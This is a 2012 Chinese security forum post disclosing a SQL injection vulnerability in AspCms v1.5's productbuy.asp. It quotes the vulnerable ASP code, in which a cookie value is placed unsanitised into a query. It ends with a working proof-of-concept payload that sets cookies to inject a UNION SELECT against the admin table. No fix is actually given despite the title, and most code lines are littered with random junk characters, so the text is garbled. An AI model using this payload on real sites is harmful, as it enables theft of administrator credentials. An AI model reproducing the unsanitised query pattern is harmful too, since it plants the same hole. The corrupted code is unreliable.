找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2293|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
1 s4 P2 z; R0 G' C也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。# B& K9 a' \" i
废话不多说,看代码:
; E7 ]( `4 j6 R- t, E* I0 A+ }
. t, e& j+ ]. ]4 `<%
/ C- |# u; n! U3 X8 u7 e9 M% R1 L9 g# O( E( F0 ^6 K
if action = "buy" then0 ?. h; a2 N4 `; E, w& A

1 y: D  J  X9 w' o! N/ Y$ J        addOrder()
; B) c& ^7 h& o& l0 Q' M" r& A1 G8 j' y  B+ r% l$ b4 {
else1 {3 {% l1 J% |! [, b
6 t; j2 X8 y, g  e& P# s2 z
        echoContent()
% B9 L6 Q- X, O8 u! p: v
' \  ^$ G( p& x5 Eend if& D+ }$ H) A2 K
" n% L' ?$ y& f! U

6 C9 V# |) P  K; ]8 P  v1 K9 [9 H/ S
……略过
0 E0 i8 e/ Q' _5 r" X) }/ K7 s0 M1 M4 k) d7 a: J5 `% U4 R8 G

& A& i" E3 C" _: x. h0 B
* S% A5 [* r* X! q! P3 ISub echoContent()
0 |1 ?" }) X# \$ w! y7 s  \
) v. j+ T# w) ?6 X4 G' N! C        dim id. ?+ [- \6 c) j" y9 @

7 k" H1 Z0 N) H- b        id=getForm("id","get"). O; _# C# V* t9 R  ^2 D0 g) y
; A# o0 ]" H& J# K( W2 I( b
        * R& v  T8 q* g; N+ y
9 _& b  J6 A7 J6 R9 c
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
' i# t" z3 `7 Y  z( a2 F, I) {2 r6 O+ @5 I
        ; ]! ?  T+ U* t( {
/ |8 l5 e$ K. E6 N( }
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template"): {- }0 Z# N7 U
- K; L! g) ?& H' q( @( w
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
! s& c6 U2 B5 t$ S1 z( H; j0 m$ x$ M* j* H3 r/ v
        Dim templatePath,tempStr, ^3 \8 q$ b# ~, `( C: l

6 K+ u7 s7 Y" `3 t- g: B        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
' Y. a  F. c' L- N  P/ ^( ~5 r' X7 m: x
" t4 ]7 J/ o. Z( j, [! [0 |; X' U9 S" i

6 e' G+ S0 T) A        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1"): ~  y- K. g1 }

/ e3 _( w7 j0 R+ B        selectproduct=rsObj(0)
! F4 I: i  H! g+ v( m
; p1 K7 n& g4 M7 y0 o        8 K3 L0 |& Z. U- n

  v2 H" E# w/ X  w. s  A3 v' L3 u        Dim linkman,gender,phone,mobile,email,qq,address,postcode" e% K; p8 F9 i; C$ Y

! l! ?' l  l1 G' T4 \9 Z; L3 q        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
# h7 Y2 j, Z; w2 Z/ S9 E$ U
5 a) M- S( W0 u. S% A1 ?        if rCookie("loginstatus")=1 then  
9 B4 t& P6 a+ X+ {# Y4 W8 o2 r
$ ]$ T2 u1 v4 f: [7 G' A! n6 y                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")4 ~  N# b% O' J0 z. v8 ?5 U, t' @4 f

7 H7 a8 `& v6 X1 S5 ^% {6 K                linkman=rsObj("truename")
* g; B0 b, j; H* l- w- J  v! a5 j  k7 i' g1 ^* e2 W
                gender=rsObj("gender")
: W) [8 v- i. z& W8 [( L( A, M' Z2 X) ^* D$ {9 B( n. N4 Z
                phone=rsObj("phone")7 a# n7 O/ W8 Z; |/ b/ m! L# ]
- x0 c( l& \3 a
                mobile=rsObj("mobile")( \6 s0 }7 j: c( y
/ H% I* b7 Y) L1 g" c
                email=rsObj("email")
$ L8 K! k* [  A' J  @) [% N; G! k4 m* H6 [9 J  F4 ], {, J2 ]
                qq=rsObj("qq")
3 }; i& k( E( [$ }% T6 u4 B0 w- \! }, V$ ^
                address=rsObj("address")' f. F3 J; Z: p
8 T% |3 R1 b' J$ C9 I" t
                postcode=rsObj("postcode")
+ M0 O1 l" }- I. v
) M7 p: X; S; V) Q* ^5 e( b        else 5 K9 w* U" A1 [/ O( F% \, u

! L3 P/ {+ O; z  f2 A$ Y& o                gender=1
% m) a. k# F, z/ R6 {  `0 v+ f1 w6 x; J9 T& y, f
        end if/ B, r2 u6 k3 G3 k/ A/ X
; g- c  F) f/ \' R1 @6 `& Q, [3 W& S
        rsObj.close(), B0 w4 v' C: i2 d5 D+ _

  s/ C' L# w) E! P  H6 l               
( e# V# }9 O* B' p, p! Z. d5 P. ]% o7 Q) K, ]9 t
        with templateObj
6 A, S% {# n( Q. G. _# R' |7 V2 ]1 G/ r! s& f9 z
                .content=loadFile(templatePath)        6 ?" G5 |* n7 S4 R) `$ h
& h. G( d* l1 w+ f7 D# |/ Q& d
                .parseHtml()
8 w! b! {2 Y* Y& x  F4 I$ w* K1 a& ^
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct). t1 C/ E( |4 K2 ^

/ @" q# a, z$ c5 m8 _* Q                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                * V: j. d8 Z% E0 a& ?, f
2 Q7 L% n8 u$ q  i6 [+ K
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
" ]! V9 f+ M- Z0 [$ u. \- `6 y; w  |4 {: u
                .content=replaceStr(.content,"[aspcms:phone]",phone)                6 N& z$ W1 N/ W/ v/ O( k
$ p  V9 N+ ?0 m0 n
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
% [/ D/ h% L! r. B( V4 }8 A7 s. l9 Y7 n. i- c3 o- b+ q6 C
                .content=replaceStr(.content,"[aspcms:email]",email)                        
8 M( u6 y$ k) a- B( U# r' ~  o7 G; D: E7 R/ _2 Z
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
, m+ ?5 ~. Y8 e' p) x& L& F. g4 }; L( D0 w7 A3 q. j
                .content=replaceStr(.content,"[aspcms:address]",address)                        1 `' X( C2 W8 p/ A
7 ^8 t+ ~; z4 P! V! I* V
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        5 W) b4 J" R, ^6 G# ]

; ]/ d" k, y8 q+ A  K& @: O                .parseCommon()                 
: ?' J. h) Q/ n5 r9 A
; W/ r9 o4 R% J) K/ d& q+ h8 t                echo .content - O6 T1 z2 K. p5 q: I  [& ~
! k3 o1 o. h$ b% m+ ~( L8 }; @8 Z
        end with8 R8 f7 Y# s- r$ _/ q

. P3 O7 O4 o8 s; |        set templateobj =nothing : terminateAllObjects
1 I+ C3 _! V) @! `1 Z
1 y1 }# q( @- o# s& CEnd Sub
. R" `0 R( p' a* S* ]( n8 N漏洞很明显,没啥好说的- T( P6 _0 Y! F$ n/ }
poc:
: r7 M3 I& g% Q6 k! {# B9 ^8 {" A* \% g! J. o, \
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
& w& a/ ]& U- t$ z6 U" V& Q* Y/ u  _' A
8 I# n& U+ @# J4 I5 R% E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表